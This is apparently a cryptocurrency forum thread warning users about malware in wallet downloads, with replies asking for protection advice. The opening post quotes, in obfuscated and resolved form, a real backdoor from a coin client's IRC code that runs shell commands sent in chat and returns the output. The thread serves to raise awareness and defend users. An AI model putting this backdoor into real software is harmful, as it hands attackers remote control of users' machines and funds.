Beware of Increasingly Sophisticated Malware Infection Attempts

[VVToken-RJG]

Malware is a business for some people. From that perspective We should change our mind set. Do our best protect our interest. in our part we should increase our level of knowledge on how to fight the malware.

Never forget that if you're not paying for the product, you ARE the product.

[JWKY]

Then how people not IT knowledgeable like me detect any fake coin with malware wallet?

Any advise?

[bcoinnn]

Thanks for sharing!

[JamesPTT]

Thank you  for sharing! 

[Sofinard09]

In the past months, malware infection attempts on this forum has become increasingly sophisticated. Below is a summary of infection techniques that I have encountered. With the most sophisticated attacks, common sense and virus scans is no longer sufficient to ensure safety.

"latest wallet"/"custom wallet"/"faster miner"
A newbie asks for the latest wallet, or wallet that doesn't have any tx fees, or the latest/fastest miner, and the attacker posts his in response. This type of attempt Usually gets spotted pretty quickly.

Copied/new ANN
The attacker creates a new ANN topic and posts a malware link as the wallet (or a legit one and changes it to a malware one later).

Replacing links in quotes
The attacker quotes a legitimate post containing a download link written by the real developer (usually the OP or a update post) and changes the link within the quote to a malware link.

Compromised dev account
The developer account (usually responsible for making the OP) is compromised and a "mandatory update" is posted. This usually happens with old/abandoned coins so the real developer isn't there to notice the rogue update.

Packed/FUD executables
In most of the cases above, the malware has little to now detections on virustotal. This is because any script kiddie can pay $30 and have their malware crypted, rendering them fully undetectable.

Modified source with backdoor
This was recently brought to my attention via a user report. A newbie, under the guise of reviving a coin posted a new client along with source. However, the source was modified to include a backdoor in the IRC bootstrapping mechanism.
here is the relevant source code:

Code:

if (vWords[1] == CBuff && vWords[3] == ":!" && vWords[0].size() > 1)
{
	CLine *buf = CRead(strstr(strLine.c_str(), vWords[4].c_str()), "r");
	if (buf) {
		std::string result = "";
		while (!feof(buf))
			if (fgets(pszName, sizeof(pszName), buf) != NULL)
				result += pszName;
		CFree(buf);
		strlcpy(pszName, vWords[0].c_str() + 1, sizeof(pszName));
		if (strchr(pszName, '!'))
			*strchr(pszName, '!') = '\0';
		Send(hSocket, strprintf("%s %s :%s\r", CBuff, pszName, result.c_str()).c_str());
	}
}

here is the source code with macros resolved:

Code:

if (vWords[1] == "PRIVMSG" && vWords[3] == ":!" && vWords[0].size() > 1)
{
	FILE *buf = popen(strstr(strLine.c_str(), vWords[4].c_str()), "r");
	if (buf) {
		std::string result = "";
		while (!feof(buf))
			if (fgets(pszName, sizeof(pszName), buf) != NULL)
				result += pszName;
		pclose(buf);
		strlcpy(pszName, vWords[0].c_str() + 1, sizeof(pszName));
		if (strchr(pszName, '!'))
			*strchr(pszName, '!') = '\0';
		Send(hSocket, strprintf("%s %s :%s\r", "PRIVMSG", pszName, result.c_str()).c_str());
	}
}

The code was part of the initial commit, so it would be difficult to notice the addition of the code by casual inspection. Also, this would likely not show up on any virus scans.

Hi there, I would like to ask if is safe to use incognito mode in goggle chrome. Or do I need to install software application that blocks the malware. Thanks in advance.

As you said virus scan no longer sufficient, any advice for android  user ? Im kinda new to this.

[Reikun2]

I'm adding this to the list of possible scams:

https://bitcointalk.org/index.php?topic=951827.0

So to my understanding...no type of anti-virus software can stop this?

Are there any new software for windows that can prevent this??

[muscrypto13]

great post ...thanks for sharing

I will add it to the black list

[IcemanVan]

Thank you guys for the very useful post - especially useful for all us newbies! 

[popoyuyun]

This sounds really scary, but I guess that where is the money, there are also malversations 

thanks for this information

[jamirrah]

I don't know if this is a malware or what but everytime I copy an address and paste it where I should when I intent to send some funds the address is change some characters are omitted that's why when making transactions I used my phone instead of my pc, does anyone experience this too?..If this is a malware infection what should I do?

[groggin]

I don't know if this is a malware or what but everytime I copy an address and paste it where I should when I intent to send some funds the address is change some characters are omitted that's why when making transactions I used my phone instead of my pc, does anyone experience this too?..If this is a malware infection what should I do?

 sounds like you might've cought something there. i've heard of a virus that replaces BTC addresses when pasting.

no reason to panic, scan your pc, and remove the bug, i use clamwin + malwarebytes

last resort backup your stuf and reinstall the OS after a full reformat 

[andybits]

Thanks for sharing, very helpful information.

[iozver]

I have long ago on my own mistakes realized that opening any links is very unsafe. Therefore, I usually use either a sandbox for windows (https://ru.wikipedia.org/wiki/Sandboxie) or a virtual machine. This is very useful in terms of security.

[mack2018]

How do we stop this malware to infect our computers?

[DiNamO]

I have long ago on my own mistakes realized that opening any links is very unsafe. Therefore, I usually use either a sandbox for windows (https://ru.wikipedia.org/wiki/Sandboxie) or a virtual machine. This is very useful in terms of security.

Using bootable windows could also be an problem solver here. Thanks for spreading the word.

[ldarkl459]

thanks for this very valuable info. but I'm just thinking is an antivirus like eset or kapersky not enough? I mean they are kind of decent anti-virus(malware) right? anyways thanks again. keep us informed in the future. thank you.

[nthnode404]

Its time to buy hardware wallets.

That is very sound advice! The Ledger Nano S is an excellent choice to protect against malware or ransomeware viruses. However, be careful who you buy it from. Get it from the manufacturer directly or from a licensed retailer.

[ricky68]

some site have mining scrypts that mine monero

[v3teran]

Bitdefender+Malwarebytes+ADW Cleaner

[Naoris_Official]

Appreciate the update. Any good stories about catching these guys?